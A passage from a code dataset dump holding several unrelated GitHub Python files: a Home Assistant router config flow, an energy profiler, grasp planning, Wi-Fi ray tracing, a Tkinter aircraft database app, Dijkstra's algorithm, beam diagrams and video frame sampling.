not user_input:\n user_input = dict()\n\n return self.async_show_form(\n step_id=step_id,\n data_schema=_create_form_discovery(user_input),\n errors=errors,\n )\n\n # Step #2 - credentials and SSL (simplified setup)\n async def async_step_credentials(\n self,\n user_input: dict[str, Any] | None = None,\n ) -> FlowResult:\n \"\"\"Credentials step.\"\"\"\n\n step_id = \"credentials\"\n\n errors = dict()\n\n if user_input:\n self._options.update(user_input)\n result = await _async_check_connection(\n self.hass, self._configs, self._options, simple=True\n )\n if \"errors\" in result:\n errors[\"base\"] = result[\"errors\"]\n if (\n errors[\"base\"] != RESULT_WRONG_CREDENTIALS\n and errors[\"base\"] != RESULT_LOGIN_BLOCKED\n ):\n return await self.async_select_step(step_id, errors)\n else:\n self._options.update(result[\"configs\"])\n await self.async_set_unique_id(result[\"unique_id\"])\n return await self.async_select_step(step_id, errors)\n\n if not user_input:\n user_input = self._options.copy()\n\n return self.async_show_form(\n step_id=step_id,\n data_schema=_create_form_credentials(user_input),\n errors=errors,\n )\n\n # Step #2b (optional) - complete device setup\n async def async_step_device(\n self,\n user_input: dict[str, Any] | None = None,\n errors: dict[str, str] = dict(),\n ) -> FlowResult:\n \"\"\"Step to completely setup the device.\"\"\"\n\n step_id = \"device\"\n\n if user_input:\n self._options.update(user_input)\n result = await _async_check_connection(\n self.hass, self._configs, self._options\n )\n if \"errors\" in result:\n errors[\"base\"] = result[\"errors\"]\n else:\n self._options.update(result[\"configs\"])\n await self.async_set_unique_id(result[\"unique_id\"])\n return await self.async_select_step(step_id, errors)\n\n if not user_input:\n user_input = self._options.copy()\n\n return self.async_show_form(\n step_id=step_id,\n data_schema=_create_form_device(user_input),\n errors=errors,\n )\n\n # Step #3 - operation mode\n async def async_step_operation_mode(\n self,\n user_input: dict[str, Any] | None = None,\n ) -> FlowResult:\n \"\"\"Step to select operation mode.\"\"\"\n\n step_id = \"operation_mode\"\n\n if not user_input:\n user_input = self._options.copy()\n return self.async_show_form(\n step_id=step_id,\n data_schema=_create_form_operation_mode(user_input),\n )\n\n self._options.update(user_input)\n\n return await self.async_select_step(step_id)\n\n # Step #4 - times\n async def async_step_times(\n self,\n user_input: dict[str, Any] | None = None,\n ) -> FlowResult:\n \"\"\"Step to select times.\"\"\"\n\n step_id = \"times\"\n\n if not user_input:\n user_input = self._options.copy()\n return self.async_show_form(\n step_id=step_id,\n data_schema=_create_form_times(user_input),\n )\n\n self._options.update(user_input)\n\n return await self.async_select_step(step_id)\n\n # Step #5 (optional if monitoring is enabled) - network interfaces to monitor\n async def async_step_interfaces(\n self,\n user_input: dict[str, Any] | None = None,\n ) -> FlowResult:\n \"\"\"Step to select interfaces for traffic monitoring.\"\"\"\n\n step_id = \"interfaces\"\n\n if self._options.get(CONF_ENABLE_MONITOR, DEFAULT_ENABLE_MONITOR):\n if not user_input:\n user_input = self._options.copy()\n user_input[\"interfaces\"] = await _async_get_network_interfaces(\n self.hass, self._configs, self._options\n )\n return self.async_show_form(\n step_id=step_id,\n data_schema=_create_form_interfaces(user_input),\n )\n\n self._options.update(user_input)\n\n return await self.async_select_step(step_id)\n\n # Step #6 - select device name\n async def async_step_name(\n self,\n user_input: dict[str, Any] | None = None,\n ) -> FlowResult:\n \"\"\"Name the device step.\"\"\"\n\n step_id = \"name\"\n\n if not user_input:\n user_input = dict()\n return self.async_show_form(\n step_id=step_id,\n data_schema=_create_form_name(user_input),\n )\n\n self._options.update(user_input)\n\n return await self.async_select_step(step_id)\n\n # Step Finish\n async def async_step_finish(\n self,\n user_input: dict[str, Any] | None = None,\n ) -> FlowResult:\n \"\"\"Finish setup.\"\"\"\n\n return self.async_create_entry(\n title=self._configs[CONF_HOST],\n data=self._configs,\n options=self._options,\n )\n\n @staticmethod\n @callback\n def async_get_options_flow(config_entry):\n \"\"\"Get the options flow.\"\"\"\n return OptionsFlowHandler(config_entry)\n\n\nclass OptionsFlowHandler(config_entries.OptionsFlow):\n \"\"\"Options flow for AsusRouter.\"\"\"\n\n def __init__(\n self,\n config_entry: config_entries.ConfigEntry,\n ) -> None:\n \"\"\"Initialize options flow.\"\"\"\n\n self.config_entry = config_entry\n\n self._selection = dict()\n self._configs: dict[str, Any] = self.config_entry.data.copy()\n self._host: str = self._configs[CONF_HOST]\n self._options: dict[str, Any] = self.config_entry.options.copy()\n\n # Dictionary last_step: next_step\n self._steps = {\n \"options\": self.async_step_device,\n \"device\": self.async_step_operation_mode,\n \"operation_mode\": self.async_step_times,\n \"times\": self.async_step_interfaces,\n \"interfaces\": self.async_step_confirmation,\n \"confirmation\": self.async_step_finish,\n }\n\n async def async_select_step(\n self,\n last_step: str | None = None,\n errors: dict[str, Any] = dict(),\n ) -> FlowResult:\n \"\"\"Step selector.\"\"\"\n\n if last_step:\n if last_step in self._steps:\n if _check_errors(errors):\n return await self._steps[f\"{last_step}_error\"](errors=errors)\n else:\n return await self._steps[last_step]()\n else:\n raise ValueError(f\"Unknown value of last_step: {last_step}\")\n else:\n raise ValueError(\"Step name was not provided\")\n\n async def async_step_init(\n self,\n user_input: dict[str, Any] | None = None,\n ) -> FlowResult:\n \"\"\"Options flow.\"\"\"\n\n return await self.async_step_options(user_input)\n\n async def async_step_options(\n self,\n user_input: dict[str, Any] | None = None,\n ) -> FlowResult:\n \"\"\"Step to select options to change.\"\"\"\n\n step_id = \"options\"\n\n if user_input:\n self._selection.update(user_input)\n return await self.async_select_step(step_id)\n\n if not user_input:\n user_input = self._selection.copy()\n\n schema_dict = dict()\n for el in self._steps:\n if el != step_id and el != \"confirmation\":\n schema_dict.update({vol.Optional(el, default=False): bool})\n\n return self.async_show_form(\n step_id=step_id,\n data_schema=vol.Schema(schema_dict),\n )\n\n async def async_step_device(\n self,\n user_input: dict[str, Any] | None = None,\n ) -> FlowResult:\n \"\"\"Step to select options to change.\"\"\"\n\n step_id = \"device\"\n\n errors = dict()\n\n if not step_id in self._selection or self._selection[step_id] == False:\n return await self.async_select_step(step_id)\n\n if user_input:\n self._options.update(user_input)\n result = await _async_check_connection(\n self.hass, self._configs, self._options\n )\n if \"errors\" in result:\n errors[\"base\"] = result[\"errors\"]\n else:\n self._options.update(result[\"configs\"])\n return await self.async_select_step(step_id, errors)\n\n if not user_input:\n user_input = self._options.copy()\n\n return self.async_show_form(\n step_id=step_id,\n data_schema=_create_form_device(user_input),\n errors=errors,\n )\n\n async def async_step_operation_mode(\n self,\n user_input: dict[str, Any] | None = None,\n ) -> FlowResult:\n \"\"\"Step to select options to change.\"\"\"\n\n step_id = \"operation_mode\"\n\n if not step_id in self._selection or self._selection[step_id] == False:\n return await self.async_select_step(step_id)\n\n if not user_input:\n user_input = self._options.copy()\n return self.async_show_form(\n step_id=step_id,\n data_schema=_create_form_operation_mode(user_input),\n )\n\n self._options.update(user_input)\n\n return await self.async_select_step(step_id)\n\n async def async_step_times(\n self,\n user_input: dict[str, Any] | None = None,\n ) -> FlowResult:\n \"\"\"Step to select times.\"\"\"\n\n step_id = \"times\"\n\n if not step_id in self._selection or self._selection[step_id] == False:\n return await self.async_select_step(step_id)\n\n if not user_input:\n user_input = self._options.copy()\n return self.async_show_form(\n step_id=step_id,\n data_schema=_create_form_times(user_input),\n )\n\n self._options.update(user_input)\n\n return await self.async_select_step(step_id)\n\n async def async_step_interfaces(\n self,\n user_input: dict[str, Any] | None = None,\n ) -> FlowResult:\n \"\"\"Step to select options to change.\"\"\"\n\n step_id = \"interfaces\"\n\n if not step_id in self._selection or self._selection[step_id] == False:\n return await self.async_select_step(step_id)\n\n if self._options.get(CONF_ENABLE_MONITOR, DEFAULT_ENABLE_MONITOR):\n if not user_input:\n user_input = self._options.copy()\n selected = user_input[\"interfaces\"].copy()\n interfaces = await _async_get_network_interfaces(\n self.hass, self._configs, self._options\n )\n # If interface was tracked, but cannot be found now, still add it\n for interface in interfaces:\n if not interface in user_input[\"interfaces\"]:\n user_input[\"interfaces\"].append(interface)\n return self.async_show_form(\n step_id=step_id,\n data_schema=_create_form_interfaces(user_input, default=selected),\n )\n\n self._options.update(user_input)\n\n return await self.async_select_step(step_id)\n\n async def async_step_confirmation(\n self,\n user_input: dict[str, Any] | None = None,\n ) -> FlowResult:\n \"\"\"Step to confirm changes.\"\"\"\n\n step_id = \"confirmation\"\n\n errors = dict()\n\n if user_input:\n if CONF_CONFIRM in user_input and user_input[CONF_CONFIRM] == True:\n return await self.async_select_step(step_id)\n else:\n errors[\"base\"] = \"not_confirmed\"\n\n if not user_input:\n user_input = self._options.copy()\n\n return self.async_show_form(\n step_id=step_id,\n data_schema=_create_form_confirmation(user_input),\n errors=errors,\n )\n\n # Step Finish\n async def async_step_finish(\n self,\n user_input: dict[str, Any] | None = None,\n ) -> FlowResult:\n \"\"\"Finish setup.\"\"\"\n\n return self.async_create_entry(\n title=self.config_entry.title,\n data=self._options,\n )\n","repo_name":"bittles/hassio_config_and_addons","sub_path":"config/custom_components/asusrouter/config_flow.py","file_name":"config_flow.py","file_ext":"py","file_size_in_byte":23741,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"34942798050","text":"import random\nimport subprocess\nimport time\n\nfrom measure.util import fibonacci_of, benchmark_cmd\nfrom measure.experiment import Type, Experiment\n\n\nclass Profiler:\n\n def __init__(self):\n self.results = {}\n self.experiments = list()\n self.initialize_results()\n\n def create_experiments(self, num_experiments):\n print('\\t Creating ' + str(num_experiments) + ' experiments per energy mode')\n\n for i in range(num_experiments):\n self.experiments.append(Experiment(Type.POWERSAVER))\n self.experiments.append(Experiment(Type.BALANCED))\n self.experiments.append(Experiment(Type.PERFORMANCE))\n\n def shuffle_experiments(self):\n print('\\t Shuffling ' + str(len(self.experiments)) + ' experiments for fair measurements')\n random.shuffle(self.experiments)\n\n def raise_priviliges(self):\n print('\\t Raising priviliges to superuser')\n\n raise_privilige_process = subprocess.Popen(\"sudo echo Success\",\n stdin=subprocess.PIPE,\n stdout=subprocess.PIPE,\n stderr=subprocess.PIPE,\n shell=True)\n raise_privilige_process.communicate()\n\n def reset_env(self):\n print('\\t Setting environment to balanced for warmup')\n\n powerprofile_process = subprocess.Popen(\"powerprofilesctl set balanced\",\n stdin=subprocess.PIPE,\n stdout=subprocess.PIPE,\n stderr=subprocess.PIPE,\n shell=True)\n powerprofile_process.communicate()\n\n def run_experiments(self):\n print('Running experiments:')\n for idx, exp in enumerate(self.experiments):\n print('[' + str(idx + 1) + '/' + str(len(self.experiments)) + '] Starting experiment:')\n result, exptype = exp.run()\n self.results[exptype].append(result)\n print(\"Finished all experiments.\")\n\n def initialize_results(self):\n print('Creating result container..')\n self.results.setdefault(Type.POWERSAVER, [])\n self.results.setdefault(Type.BALANCED, [])\n self.results.setdefault(Type.PERFORMANCE, [])\n\n def get_results(self):\n print('Gathering results...')\n return self.results\n\n def warmup(self):\n print('Warming up hardware..')\n\n print('\\tWarming up CPU')\n start = time.time()\n while time.time() - start < 60:\n fibonacci_of(40)\n print('\\tWarming up GPU')\n benchmark_process = subprocess.Popen(benchmark_cmd(),\n stdin=subprocess.PIPE,\n stdout=subprocess.PIPE,\n stderr=subprocess.PIPE,\n shell=True)\n benchmark_process.communicate()\n","repo_name":"remyd95/SSE_Project1","sub_path":"measure/profiler.py","file_name":"profiler.py","file_ext":"py","file_size_in_byte":3093,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"1787437008","text":"\ndef format_sort_records(records):\n formatted_records = []\n for record in records:\n formatted_name = f\"{record[1]:<10}{record[0]:<10}\"\n formatted_time = f\"{record[2]:.2f}\"\n formatted_records.append(f\"{formatted_name} {formatted_time:>5}\")\n\n result = '\\n'.join(formatted_records)\n return result\n\n\nPEOPLE = [('Donald', 'Trump', 7.85),\n ('Vladimir', 'Putin', 3.626),\n ('Jinping', 'Xi', 10.603)]\n\nprint(format_sort_records(PEOPLE))","repo_name":"DashShot/Python_apuntes","sub_path":"Ejercicios/E12.py","file_name":"E12.py","file_ext":"py","file_size_in_byte":474,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"26199106305","text":"import os\nimport numpy as np\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.ensemble import RandomForestClassifier\nfrom xgboost import XGBClassifier\n\n\ninput_cols = ['amount_requested', 'birth_date', 'status', 'residence_rent_or_own', 'monthly_rent_amount',\n 'bank_account_direct_deposit', 'application_when', 'loan_duration', 'payment_ach', 'num_payments',\n 'payment_amount', 'amount_approved', 'duration_approved', 'payment_amount_approved', 'address_zip',\n 'email', 'bank_routing_number', 'email_duration', 'residence_duration', 'bank_account_duration',\n 'payment_frequency', 'home_phone_type', 'how_use_money', 'monthly_income_amount', 'raw_l2c_score',\n 'raw_FICO_telecom', 'raw_FICO_retail', 'raw_FICO_bank_card', 'raw_FICO_money', 'flgGood']\n\ntarget_feature = 'flgGood'\n\ndate_cols = ['birth_date', 'application_when']\n\neda_drop_feats = ['status', # all approved loans (constant feat)\n 'email', # no info provided by user email\n 'home_phone_type', # no info provided by user email\n 'how_use_money', # too many non-descript categories, high instance of 'Other', 'Bills', etc.\n 'birth_date'] # potential legal ramifications for using age to determine if someone gets a loan\n\nbase_model_features = ['amount_requested', 'monthly_income_after_rent', 'residence_rent_or_own',\n 'bank_account_direct_deposit', 'loan_duration', 'num_payments', 'payment_amount',\n 'amount_approved', 'duration_approved', 'address_zip', 'bank_routing_number', 'email_duration',\n 'residence_duration', 'bank_account_duration', 'payment_frequency', 'raw_l2c_score',\n 'raw_FICO_telecom', 'raw_FICO_retail', 'raw_FICO_bank_card', 'raw_FICO_money', 'pays_rent']\n\ndata_fp = './data'\n\nraw_data_fp = os.path.join(data_fp, 'Homework_Data_Scientist.xlsx')\n\nintermediate_data_fp = os.path.join(data_fp, 'intermediate_data.csv')\n\npreprocessed_data_fp = os.path.join(data_fp, 'preprocessed_data.csv')\n\npreprocessed_data_types = {'amount_requested': np.int64, 'residence_rent_or_own': np.int64,\n 'monthly_rent_amount': np.int64, 'bank_account_direct_deposit': np.int64,\n 'loan_duration': np.int64, 'payment_ach': np.int64, 'num_payments': np.int64,\n 'payment_amount': np.float64, 'amount_approved': np.int64, 'duration_approved': np.int64,\n 'address_zip': str, 'bank_routing_number': str, 'email_duration': str,\n 'residence_duration': str, 'bank_account_duration': str, 'payment_frequency': str,\n 'monthly_income_amount': np.int64, 'raw_l2c_score': np.int64, 'raw_FICO_telecom': np.int64,\n 'raw_FICO_retail': np.int64, 'raw_FICO_bank_card': np.int64, 'raw_FICO_money': np.int64,\n 'flgGood': np.int64, 'monthly_income_after_rent': np.int64, 'pays_rent': np.int64,\n 'SAMPLE_WEIGHT': np.float64}\n\nlogs_fp = './logs/results.log'\n\nmodels_fp = './models'\n\nresults_fp = './results'\n\neda_plots_fp = os.path.join(results_fp, 'eda_plots/')\n\nanalysis_plots_fp = os.path.join(results_fp, 'analysis_plots/')\n\nmodel_funcs = {'LogisticRegression': LogisticRegression, 'RandomForest': RandomForestClassifier,\n 'XGBoost': XGBClassifier}\n\nsfs_models = ['LogisticRegression']\n\nscoring_metrics = {'LogisticRegression': 'f1_weighted', 'RandomForest': 'roc_auc', 'XGBoost': 'roc_auc'}\n\nbase_param_set = {'LogisticRegression': {'penalty': 'l2', 'max_iter': 200, \"verbose\": False, \"random_state\": 1},\n 'RandomForest': {\"random_state\": 1},\n 'XGBoost': {\"objective\": \"binary:logistic\", \"verbosity\": 0, \"random_state\": 1}}\n\nprob_thresholds = {'LogisticRegression': 0.4, 'RandomForest': 0.38, 'XGBoost': 0.35}\n\nrotate_plot_feats = ['bank_routing_number', 'email', 'how_use_money']\n","repo_name":"jaredandrews97/Sample-Project-BlastPoint","sub_path":"src/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":4043,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"71675072243","text":"'''\nDescription: In User Settings Edit\nAuthor: Qianen\nDate: 2021-09-13 04:43:41\nLastEditTime: 2021-09-14 21:15:38\nLastEditors: Qianen\n'''\nimport numpy as np\nfrom .contact import Contact\nfrom .grasp import Grasp3D\nfrom .mesh import MeshFace\nfrom .quality import grasp_quality\n\n\nclass OGManager(object):\n def __init__(self, mesh, grasps, g_qualities) -> None:\n super().__init__()\n self.mesh = mesh\n self.grasps = grasps\n self.qualities = np.array(g_qualities)\n self.quality_sort = np.argsort(g_qualities)[::-1]\n self.valid_sort = self.process_grasps(self.grasps, self.qualities)\n if self.mesh.is_watertight:\n print('check endpoint')\n self.valid_sort = self.check_endpoint(self.mesh, self.grasps, self.valid_sort)\n\n @classmethod\n def from_obj_file(cls, file_path, step=0.005, scale=0.001):\n mesh = MeshFace.from_file(file_path, scale=scale)\n mesh = mesh.convex_decomposition()\n grasps = cls.sample_grasps(mesh, step)\n qualities = [grasp_quality(g, mesh) for g in grasps]\n return cls(mesh, grasps, qualities)\n\n @classmethod\n def optimal_v(cls, c0, c1):\n line = c1.point - c0.point\n n0 = c0.normal\n n1 = c1.normal\n nc0 = np.dot(line, n0)\n nc1 = np.dot(-line, n1)\n if nc0 == 0 or nc1 == 0:\n return None\n n0 = -n0 if nc0 > 0 else n0\n n1 = -n1 if nc1 > 0 else n1\n # if np.dot(line, n0) > 0:\n # n0 = -n0\n # if np.dot(-line, n1) > 0:\n # n1 = -n1\n # n0 = n0 / np.linalg.norm(n0)\n # n1 = n1 / np.linalg.norm(n1)\n v = n1 - n0\n # print(n0, n1, v, line)\n v = v / np.linalg.norm(v)\n return v\n\n @classmethod\n def optimize_c1(cls, mesh, c0, c11, max_iter=8):\n c1 = c11\n for j in range(max_iter):\n # print(j)\n vv = cls.optimal_v(c0, c1)\n if vv is None:\n return c11\n cc0 = Contact(c0._point, c0.normal, vv, mesh.center_mass)\n cc1s = mesh.find_other_contacts(cc0)\n if len(cc1s) == 0:\n return c11\n # 取和原来的c1最近的那个点作为新的c1\n cc1_d = [np.linalg.norm(c1.point-c.point) for c in cc1s]\n cc1_i = np.argmin(cc1_d)\n cc1 = cc1s[cc1_i]\n if abs(abs(np.dot(cc1.normal, c1.normal)) - 1) < 1e-3:\n return cc1\n c1 = cc1\n print('优化失败')\n return c11\n\n @classmethod\n def sample_grasps(cls, mesh, step):\n grasps = []\n for face in mesh.faces:\n face_points = face.sample(step)\n print('--------', len(face_points), face.id)\n for p in face_points:\n c0 = Contact.from_facepoint(mesh, p, mesh.center_mass)\n c1s = mesh.find_other_contacts(c0)\n for c1 in c1s:\n n_c1 = cls.optimize_c1(mesh, c0, c1)\n v = n_c1.point - c0.point\n v = v / np.linalg.norm(v)\n n_c0 = Contact(c0._point, c0.normal, v, mesh.center_mass)\n n_c1._grasp_direction = -v\n grasps.append(Grasp3D(n_c0, n_c1))\n return grasps\n\n @staticmethod\n def process_grasps(grasps, qualities, max_width=0.085, q_th=0.002, c_th=0.01, a_th=np.pi/18):\n \"\"\" 剔除无效抓取\n 1. 抓取宽度过大的\n 2. 质量过小的\n 3. 距离过近的\n \"\"\"\n valid_sort = []\n quality_sort = np.argsort(qualities)[::-1]\n for gi in quality_sort:\n g = grasps[gi]\n if g.contacts_width > max_width:\n continue\n if qualities[gi] < q_th:\n continue\n for gvi in valid_sort:\n gv = grasps[gvi]\n center_dist = np.linalg.norm(g.center - gv.center)\n axis_dist = np.arccos(np.clip(np.abs(g.axis.dot(gv.axis)), 0, 1))\n if center_dist < c_th and axis_dist < a_th:\n break\n else:\n valid_sort.append(gi)\n return valid_sort\n\n @staticmethod\n def check_endpoint(mesh, grasps, valid_sort, grasp_width=0.085):\n \"\"\" 检查抓取端点是否都在物体外面\n \"\"\"\n new_valid_sort = []\n for gi in valid_sort:\n g = grasps[gi]\n edp0 = g.center - grasp_width / 2 * g.axis\n edp1 = g.center + grasp_width / 2 * g.axis\n if any(mesh.trimesh_obj.contains([edp0, edp1])):\n continue\n new_valid_sort.append(gi)\n return new_valid_sort\n","repo_name":"LaiQE/OGSOM","sub_path":"ogsom/ogmanager.py","file_name":"ogmanager.py","file_ext":"py","file_size_in_byte":4672,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"75"} +{"seq_id":"73224212403","text":"x = float(input())\ny = float(input())\nh = float(input())\n\nfront_wall = (x * x) - (1.2 * 2)\nback_wall = x * x\nside_wall = (x * y) - (1.5 * 1.5)\nside_roof = x * y\nfront_back_roof = (h * x) / 2\n\ntotal_wall = (front_wall + back_wall) + (2 * side_wall)\ntotal_roof = (2 * side_roof) + (2 * front_back_roof)\n\ntotal_green_paint = total_wall / 3.4\ntotal_red_paint = total_roof / 4.3\n\nprint(f\"{total_green_paint:.2f}\")\nprint(f\"{total_red_paint:.2f}\")","repo_name":"d-miteva/Programming-Basics-with-Python","sub_path":"01.03 - First Steps in Coding - More Exercises/07_house_painting.py","file_name":"07_house_painting.py","file_ext":"py","file_size_in_byte":440,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"8577486583","text":"from tkinter import *\r\nfrom PIL import ImageTk,Image\r\nfrom tkinter import messagebox\r\nimport mysql.connector\r\n\r\n# Add your own database name and password here to reflect in the code\r\nconn = mysql.connector.connect(user='root', password=mypass, host='localhost', database='db')\r\ncursor = conn.cursor()\r\n\r\n# Enter Table Names here\r\ndeliverTable = \"aircrafts_delivered\" \r\naircraftTable = \"aircrafts\"\r\n \r\n#List To store all Aircraft Nos\r\nallMno = [] \r\n\r\ndef deliver():\r\n \r\n global deliverBtn,labelFrame,lb1,aircraftInfo1,aircraftInfo2,quitBtn,root,Canvas1,status\r\n \r\n mno = aircraftInfo1.get()\r\n deliverto = inf2.get()\r\n\r\n deliverBtn.destroy()\r\n labelFrame.destroy()\r\n lb1.destroy()\r\n inf1.destroy()\r\n inf2.destroy()\r\n \r\n \r\n extractMno = \"select mno from \"+aircraftTable\r\n try:\r\n cur.execute(extractMno)\r\n con.commit()\r\n for i in cur:\r\n allMno.append(i[0])\r\n \r\n if mno in allMno:\r\n checkAvail = \"select status from \"+aircraftTable+\" where mno = '\"+mno+\"'\"\r\n cur.execute(checkAvail)\r\n con.commit()\r\n for i in cur:\r\n check = i[0]\r\n \r\n if check == 'avail':\r\n status = True\r\n else:\r\n status = False\r\n\r\n else:\r\n messagebox.showinfo(\"Error\",\"Aircraft ModelNo not present\")\r\n except:\r\n messagebox.showinfo(\"Error\",\"Can't fetch Aircraft ModelNO\")\r\n \r\n deliverSql = \"insert into \"+deliverTable+\" values ('\"+mno+\"','\"+deliverto+\"')\"\r\n show = \"select * from \"+deliverTable\r\n \r\n updateStatus = \"update \"+aircraftTable+\" set status = 'delivered' where mno = '\"+mno+\"'\"\r\n try:\r\n if mno in allMno and status == True:\r\n cur.execute(deliverSql)\r\n con.commit()\r\n cur.execute(updateStatus)\r\n con.commit()\r\n messagebox.showinfo('Success',\"Aircraft Delivered Successfully\")\r\n root.destroy()\r\n else:\r\n allMno.clear()\r\n messagebox.showinfo('Message',\"Aircraft Already Delivered\")\r\n root.destroy()\r\n return\r\n except:\r\n messagebox.showinfo(\"Search Error\",\"The value entered is wrong, Try again\")\r\n \r\n print(mno)\r\n print(deliverto)\r\n \r\n allMno.clear()\r\n \r\ndef deliverAircraft(): \r\n \r\n global deliverBtn,labelFrame,lb1,aircraftInfo1,aircraftInfo2,quitBtn,root,Canvas1,status\r\n \r\n root = Tk()\r\n root.title(\"Aircraft Squadron\")\r\n root.minsize(width=400,height=400)\r\n root.geometry(\"600x500\")\r\n \r\n Canvas1 = Canvas(root)\r\n Canvas1.config(bg=\"GreenYellow\")\r\n Canvas1.pack(expand=True,fill=BOTH)\r\n\r\n headingFrame1 = Frame(root,bg=\"Khaki\",bd=5)\r\n headingFrame1.place(relx=0.25,rely=0.1,relwidth=0.5,relheight=0.13)\r\n \r\n headingLabel = Label(headingFrame1, text=\"Deliver Aircraft\", bg='black', fg='white', font=('Courier',15))\r\n headingLabel.place(relx=0,rely=0, relwidth=1, relheight=1)\r\n \r\n labelFrame = Frame(root,bg='black')\r\n labelFrame.place(relx=0.1,rely=0.3,relwidth=0.8,relheight=0.5) \r\n \r\n # Model No\r\n lb1 = Label(labelFrame,text=\"Model No : \", bg='black', fg='white')\r\n lb1.place(relx=0.05,rely=0.2)\r\n \r\n inf1 = Entry(labelFrame)\r\n inf1.place(relx=0.3,rely=0.2, relwidth=0.62)\r\n \r\n # Delivered To IAF\r\n lb2 = Label(labelFrame,text=\"Delivered To : \", bg='black', fg='white')\r\n lb2.place(relx=0.05,rely=0.4)\r\n \r\n inf2 = Entry(labelFrame)\r\n inf2.place(relx=0.3,rely=0.4, relwidth=0.62)\r\n \r\n \r\n #Deliver Button\r\n deliverBtn = Button(root,text=\"Deliver\",bg='Gainsboro', fg='black',command=deliver)\r\n deliverBtn.place(relx=0.28,rely=0.9, relwidth=0.18,relheight=0.08)\r\n \r\n quitBtn = Button(root,text=\"Quit\",bg='LightGrey', fg='black', command=root.destroy)\r\n quitBtn.place(relx=0.53,rely=0.9, relwidth=0.18,relheight=0.08)\r\n \r\n root.mainloop()\r\n","repo_name":"rk43/AMS","sub_path":"DeliverAircraft.py","file_name":"DeliverAircraft.py","file_ext":"py","file_size_in_byte":3974,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"44337927019","text":"from heapq import heappush, heappop\nfrom sys import maxsize as inf\n\n\ndef dijkstra(graph, n, src):\n vis = [False] * n\n heap = []\n dist = [inf] * n\n dist[src] = 0\n vis[src] = True\n heappush(heap, (0, src))\n \n while heap:\n d, node = heappop(heap)\n if dist[node] < d:\n continue\n vis[node] = True\n for adj, weight in graph[node]:\n if not vis[adj] and d + weight < dist[adj]:\n dist[adj] = d + weight\n heappush(heap, (dist[adj], adj))\n \n # if node == target:\n # return dist[target]\n \n return dist\n \n \nV = 6\nG = [[(1, 5), (2, 1)], \n [(2, 2), (3, 3), (4, 20)], \n [(1, 3), (4, 12)], \n [(2, 3), (4, 2), (5, 6)],\n [(5, 1)],\n []]\nprint(dijkstra(G, V, 0))\n","repo_name":"ashish-chiks/Pycharm-Projects","sub_path":"Graph/dijkstra.py","file_name":"dijkstra.py","file_ext":"py","file_size_in_byte":807,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"31971870438","text":"import numpy as np\nimport matplotlib.pyplot as plt\n\nw = 50 # udl N/m\nL = 10 # Length of beam\n\na = 3\nb = 5\nc = L-(a+b)\n\nR1 = (w*b/L)*(c+b/2)\nR2 = (w*b/L)*(a+b/2)\nl = np.linspace(0, L, 200)\n\nX = []\nSF = []\nM = []\n\nfor x in l:\n if x < a:\n sf = R1\n m = R1*x\n elif a < x < (a+b):\n sf = R1-(w*(x-a))\n m = (R1*x)-(w*(x-a)**2/2)\n elif x > (a+b):\n sf = -R2\n m = R2*(L-x)\n\n X.append(x)\n SF.append(sf)\n M.append(m)\n\nplt.figure(figsize=(7.5, 5), dpi=100)\nplt.subplot(2, 1, 1)\nplt.plot(X, SF, 'g')\nplt.fill_between(X, SF, color=\"green\", alpha=0.5, hatch=\"||\")\nplt.title(\"Shear Force Diagram\")\nplt.ylabel(\"Shear Force\")\nplt.tight_layout(pad=4.0)\n\nplt.subplot(2, 1, 2)\nplt.plot(X, M, 'r')\nplt.fill(X, M, color='red', alpha=0.5, hatch=\"||\")\nplt.title(\"Bending Moment Diagram\")\nplt.xlabel(\"Length\")\nplt.ylabel(\"Bending Moment\")\nplt.show()\n","repo_name":"nhatvu148/python-engineering","sub_path":"engineering/sfd2.py","file_name":"sfd2.py","file_ext":"py","file_size_in_byte":884,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"73433929842","text":"\"\"\"\n\n DEFINITION DE L'OBJET WALL (LES MURS DE LA MAP)\n\n\"\"\"\n\nimport math as m\nimport cmath as cm\n\nclass Wall():\n\n def __init__(self, position, width, epsR, sigma):\n \"\"\"\n :param position: initialisation de la position du mur (contient ces deux extrémités : [pos1, pos2])\n :param width: la largeur du mur\n :param epsR: son epsilon relatif\n :param sigma: sa conductivité\n \"\"\"\n self.posDebut = [float(position[0]), float(position[1])]\n self.posFin = [float(position[2]), float(position[3])]\n self.eps = 8.854*10**(-12)*epsR\n self.width = width\n self.sigma = sigma\n\n def setResistance(self, epsTilde):\n \"\"\"\n :param epsTilde: epsilon tilde\n :return: ne renvoie rien. Initialise la résistance.\n \"\"\"\n self.resistance = complex(cm.sqrt(4 * m.pi * 10 ** (-7) / epsTilde))\n","repo_name":"Alban999/WiFi-Ray-Tracing-Simulation","sub_path":"Ray-Tracing/Wall.py","file_name":"Wall.py","file_ext":"py","file_size_in_byte":883,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"27025054592","text":"import cv2\nimport numpy as np\n\n\ndef show(image, title=\"debug\"):\n cv2.imshow(title, image)\n if cv2.waitKey(0):\n return\n\n\ndef get_processed_frame(im):\n # resize and convert to grayscale\n resized_image = cv2.resize(im, (640, 480))\n # gray = cv2.cvtColor(resized_image, cv2.COLOR_BGR2GRAY)\n # return the blurred image\n return cv2.GaussianBlur(resized_image, (5, 5), 0)\n\n\ndef get_frames(path, frequency):\n print(\"Processing video...\")\n frames = []\n video = cv2.VideoCapture(path)\n print(path, frequency)\n\n # calculate duration of the video\n seconds = round(video.get(cv2.CAP_PROP_FRAME_COUNT) / video.get(cv2.CAP_PROP_FPS))\n print('duration:', seconds)\n\n n = int(video.get(cv2.CAP_PROP_FRAME_COUNT))\n sample_frequency = int(video.get(cv2.CAP_PROP_FPS) 